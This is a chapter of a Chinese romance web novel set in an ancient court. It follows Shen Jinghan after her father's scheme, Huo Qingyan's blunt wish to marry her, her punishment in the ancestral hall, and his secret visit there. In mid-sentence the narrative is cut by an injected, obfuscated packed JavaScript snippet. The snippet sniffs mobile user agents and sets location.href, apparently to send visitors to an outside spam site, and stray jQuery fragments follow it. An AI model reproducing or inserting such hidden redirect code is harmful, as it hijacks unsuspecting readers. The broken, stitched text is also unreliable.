这回,由沈静涵自己解释。
“我娘被我爹伤透了心,回了娘家。我爹因此恨上了解忧阁,又听闻素雪逃婚一事,便将萧景行请来京城。”
一想到父亲的行径,她心中便不舒服,缓了片刻才继续道:“他想报复你们,萧景行想强娶素雪挽回侯府颜面,两人一拍即合,设下那一局,被我无意中听到。至于……”
说到这里,她声音渐低,似是不愿再提。
韩诗情接过话头:“今日是我和公子去请她帮忙的。”
模仿字迹这事一出,韩诗情便做好了万全之策。她让方芷芸、裴栩生提前在城中放出风声,将仿造信笺一事传了出去。又让霍轻砚寻来将军府与镇北侯昔日的往来信笺,由苏云鹤根据印记仿刻出镇北侯的私印。
一切准备妥当后,她随着苏云鹤前往永昌侯府,与沈静涵见了面。
“诗情帮过我娘。”忆及此事,沈静涵冰冷的心升起一丝暖意,“当初我爹强娶方姑娘时,她让素雪带给我娘一句话,只说无论我爹做什么,闹过之后都莫要阻拦,后来果然如愿扭转了局面。”
说着,看向韩诗情,目光温和:“我心中对她既是感激,又是欣赏。加之素雪是我表妹,我自是愿意助你们。”
两人相视一笑。
霍轻砚在一旁看着,这才恍然。难怪方才初见时她们便那般亲近,原是早已暗中联络过了。
他不觉面向韩诗情,想问她为何不早些告诉自己。
还没出口,便反应过来——沈静涵是沈崇江的女儿,若护着外人,如何向她父亲交代?
他赫然察觉,这女子面上虽冷若冰霜,心底却存着一颗纯善的心。若非为了荀素雪,也不至于受这般大的欺辱和委屈。
如此想着,心中对她除了愧疚,又添了几分怜惜。望着她难得露出的脆弱神色,他心头一软,不觉出了神。
“在想什么?”苏云鹤见他失神许久,拍了拍他的肩膀。
他回过神,又看向沈静涵,轻声道:“我在想,若有朝一日,沈姑娘愿下嫁于我,我会好好待她,不再让她受委屈。”
他心中如此想着,便如此说了,也不在乎这番话是否唐突,更不在乎旁人怎样想。
听他这般直白地说出来,沈静涵脸色蓦地红了,心底又气又恼,却也隐隐存了几分连她自己都不愿承认的动容。
她能感觉到此刻屋内所有人的目光都落在自己身上,不自觉垂下头,盯着自己膝上的手,耳根烧得厉害。
一旁,方芷芸抿着嘴笑,被荀素雪悄悄拽了拽袖子。裴栩生别过脸去,笑得肩膀微微抖动。
苏云鹤素日最是沉稳,此刻竟也调侃起来:“你想得倒是美,若是想要沈姑娘嫁给你,恐需你做到一件事。”
“何事?”霍轻砚下意识问,身体微微前倾。
“要令她对你动心。”苏云鹤收起方才玩闹的神色,折扇轻摇,“不因情势所迫,心甘情愿嫁给你。”
霍轻砚默然片刻,一时竟不知如何接话。
在旁听了许久的沈静涵,胸口莫名一紧,不禁陷入沉思。
她以为自己的婚事不过是父母之命、媒妁之言,从未有人问过她愿不愿意。经历今日之事,她又想着,清白既已受损,许是不再有旁的选择。
可是现在,有人告诉她,她可以等到自己真正动心的那一日。
不因情势所迫,心甘情愿嫁给你。
她默念着这几个字,久久没有言语。
韩诗情见她失神,凑近了些,温声道:“霍将军心直口快,你不必放在心上。待到你真心想与他相守时,再嫁便是,不急在这一时。”说着,伸手替她理了理鬓边微乱的发丝。
她听着这般贴心的话,望着韩诗情温柔的眼眸,心底那点纷乱渐渐平复了些,转而生出几分好奇。
“诗情。”她轻声道,指尖在膝上轻轻摩挲,“你遇着了吗?”
“什么?”韩诗情一时没反应过来。
“那个……让你想相守余生的人。”
韩诗情心里咯噔一下,目光不由自主地转向了苏云鹤。
四目相对,苏云鹤正满怀期待地望着她,那双素日里温和沉静的眼睛,此刻亮得惊人。
她顿时心跳如鼓,脸颊腾地烧了起来,慌忙移开视线。
定了定神,她侧过身,背对着苏云鹤,面朝沈静涵,无声地动了动嘴唇。
沈静涵看懂了,随即眼中浮起笑意,轻轻握了握她的手。
这一切苏云鹤都瞧在眼里,却只能看到韩诗情的背影,听不到半点声响。他心中不由涌上几分失落。
窗外不知哪棵树上的叶子被风吹落,沙沙响了几声,那声音落在他耳中,心更乱了。
她究竟说了什么?她承认了吗?她可将自己当做想相守一生的人了?
他脑海中闪过许多疑问,心头怦怦直跳,攥紧的手心沁出一层薄汗。
可没人主动去问,他更不敢出声,只强压下心中的期盼,眼睁睁看着韩诗情将话头岔开,说起了旁的闲事。
这一瞬,他觉得自己比当初的裴栩生还要怯懦。身旁众人早已聊开了去,独他一人陷在沉思里,满腹心事无人可说。
却不知当局者迷,旁观者清。他看不明白的事情,旁人早已瞧得清清楚楚,皆露出了然神色。唯有方芷芸默然不语,低头摆弄着自己的衣角,指尖微微发颤。
这细微的异样没有逃过有心人的眼睛,却是谁也没去点破。
室内烛火微微跳了跳,将满室人影晃得忽长忽短,交叠在一处。那些心照不宣的心思,便也随着光影明灭,明明暗暗地浮动着。
不知过了多久,众人渐渐止了说笑,各自告辞时,夜色已深。
沈静涵婉拒了霍轻砚送她回府的提议,独自踏上归途。
回到永昌侯府时,已近子时。
她刚踏入后院角门,便见正厅灯火通明,一个高大的身影立在廊下,面色铁青。
是她的父亲沈崇江。
她心头一紧,下意识攥紧了袖中的镯子,垂首走近。
“去了哪里?”沈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386354|197237||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
崇江声音冷得骇人,“你一个女儿家,深更半夜不归家,若是让外人知晓了,你可知后果多么严重?”
沈静涵抿唇不语。
“说话!”沈崇江猛地拍了一下廊柱,震得檐下灯笼直晃,“你的名声还要不要?以后谁还敢娶你?”
夜风穿堂而过,沈静涵的衣衫被吹得微微拂动。被问得紧了,她低下头,终于开口:“我去看娘了。”
提起离家的妻子,沈崇江一愣,方才还暴跳如雷,此刻火气散了大半,只余下一脸颓然和不耐。
沉默良久,他挥了挥手:“你是女儿家,言行举止要有分寸,便是去你娘那里,也不该这样晚才回来。去祠堂跪一夜,好好反省。”
“是。”
沈静涵应了一声,不再多说,转身便往祠堂走。她走得不快,背影在夜色里渐渐模糊。
祠堂里烛火幽微,她跪在蒲团上。
夜已深了,四周寂静。没有父亲的怒斥,也没有亲友的安慰,只有她一个人。
她慢慢松开一直攥着的袖口,那只镯子滑了出来,在烛光下泛着温润的光。
她盯着它看了许久,不由得想起它那莽撞的主人。
那人撞见她沐浴时的青涩,求娶她时的认真,这两个画面在她眼前交替闪过,她怎么也赶不走。她垂下眼,把镯子塞回袖中,脸有些发烫。
正出神时,忽听得身后传来极轻的脚步声。她警觉地回头——
一个玄色身影立在暗处,像是犹豫了一瞬,才朝她走过来。
那人一身夜行衣,面上蒙着黑布,只露出一双眼睛。那双眼睛她认得。今日已看过无数遍,每一遍都让她心绪难平。
他没说话,在她身侧蹲下来,从怀里摸出一块用油纸包着的糕点,无声地递到她面前。
她没有接,只抬眼看着他的眼睛,压低了声音问道:“霍将军,你来做什么?”
被点出名字,霍轻砚索性拉下面罩,脸上闪过一丝不自在。他手里还举着那块糕点,目光微微别开,声音有些不稳:“你别生气,不是我要来的。”
“那是谁让你来的?”
“……韩姑娘和云鹤不放心,让我跟着过来看看。”
沈静涵沉默了一瞬,目光扫过他手里的糕点:“那这个呢?”
“是韩姑娘和云鹤看你被罚跪,想着你一日没吃东西,便让我回将军府取了些糕点。”他不敢看她,声音越来越小。
这般一口气推到韩诗情和苏云鹤身上,只盼她不会推拒那份好意。
说完又把糕点往她面前递了递,声音里带了几分心疼:“你先吃一些,再慢慢审我、气我,好不好……”
望着这双真心实意关心自己的眸子,沈静涵心中五味杂陈。
沉吟片刻,她状似随意地问道:“诗情和苏公子也来了吗?”
“他们没来。”霍轻砚未做他想,只老实回答,“他们回解忧阁了。”
“他们没来……”沈静涵重复了一句,目光若有若无地落在他脸上,“却知晓我被罚跪?”